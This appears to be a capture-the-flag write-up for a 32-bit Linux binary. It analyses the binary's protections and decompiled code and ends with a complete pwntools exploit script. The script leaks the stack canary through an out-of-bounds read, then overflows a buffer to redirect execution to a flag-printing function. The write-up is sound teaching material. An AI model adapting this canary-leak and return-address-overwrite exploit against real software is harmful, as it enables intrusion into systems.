Initial Assessment
Upon initial examination of the binary, the following properties and security measures were identified:
Architecture: The binary is compiled for the i386 architecture, indicating that it is intended for 32-bit Intel x86 systems.
Canary and Non-executable Stack Mitigation: The binary has enabled security measures, including the use of a “canary” and a non-executable stack. The canary is a random value placed on the stack before local variables, which helps detect stack overflows. Additionally, marking the stack as non-executable prevents the execution of code from that memory region, enhancing security.
PIE (Position-Independent Executable) Mitigation: PIE mitigation is disabled in this binary. Consequently, the binary’s base address is not affected by Address Space Layout Randomization (ASLR). This lack of ASLR protection may have implications for the binary’s exploitability.
Detailed Analysis
Opening binary in Ghidra .
Here’s a breakdown of what the Main function is doing:
It initializes several local variables, including a bunch of
undefined4
variables (which are essentially 4-byte integers) and a few other variables of different types.It enters a loop using a
while (true)
construct. Inside this loop, it performs the following actions:It calls a function named
print_menu
. Which print the menu.It reads two bytes from the standard input into the variable
local_8a
.It checks if the character represented by
local_8a
is equal to ‘F’. If true, it prompts the user for some data and reads it intolocal_88
.If
local_8a
is not equal to ‘F’, it proceeds to the nextwhile
loop.Inside the next
while
loop, it checks iflocal_8a
is equal to ‘V’. If true, it prompts the user for an index, reads it intolocal_94
, and then calls a function namedview_account
with the address oflocal_88
andlocal_94
as arguments. This will Read value from memmory.If
local_8a
is not equal to ‘V’, it proceeds to the nextwhile
loop.Inside the third
while
loop, it checks iflocal_8a
is equal to ‘E’. If true, it breaks out of the loop and proceeds to the next section of code.If
local_8a
is not equal to ‘E’, it prints “Invalid choice”.
After exiting the loop, it prompts the user for the size of a name and reads it into
local_90
.It then prompts the user for a name and reads it into
local_48
.There is a conditional check
if (local_8 != *(int *)(in_GS_OFFSET + 0x14))
which appears to be a stack protection check. If this check fails, it calls__stack_chk_fail()
which typically triggers a stack smashing error.Finally, the function returns 0.
This is a C function named print_flag
that does the following:
It calls the
system
function with the command"cat ./flag"
. Thesystem
function is used to execute shell commands. In this case, it’s running thecat
command to display the contents of a file namedflag
.After executing the command, the function returns.
Vulnerability Assessment
This enables us to perform an out-of-bounds read, thereby allowing us to extract the canary value.
By manipulating the number of bytes read in the buffer, we induce a buffer overflow, granting us the ability to redirect code execution towards the ‘print_flag’ function.
Flag
Exploit Script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/usr/bin/python3
from pwn import *
import struct
# context.terminal = ['tmux','splitw','-h']
os.environ['XDG_CACHE_HOME'] = '/tmp/'
context.log_level = 'error'
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify GDB script here (breakpoints etc)
gdbscript = '''
continue
'''.format(**locals())
exe = './bin'; elf = context.binary = ELF(exe, checksec=False);exe_rop = ROP(elf,checksec=False)
libc = elf.libc ; libc_rop = ROP(libc,checksec=False)
io = start()
canary = b"0x"
for i in range(131,127,-1):
io.sendlineafter(b">",b"V")
io.sendlineafter(b"Index : ", str(i))
canary+=io.recvline().split(b": ")[1].strip(b"\n")
for i in range(12):
#sleep(1)
print("Leaking Canary "+"."*i)
canary_int=(int(canary,16))
print(f"Leaked Canary : {hex(canary_int)}")
io.sendlineafter(b">",b"E")
io.sendlineafter(b"Name Size : ",b"500")
payload = b""
payload += b"A"*0x40
payload += p32(canary_int)
payload += b"aaaa" #EBP
payload += p32(elf.sym.print_flag)
io.sendlineafter(b"Name : ",payload)
io.interactive()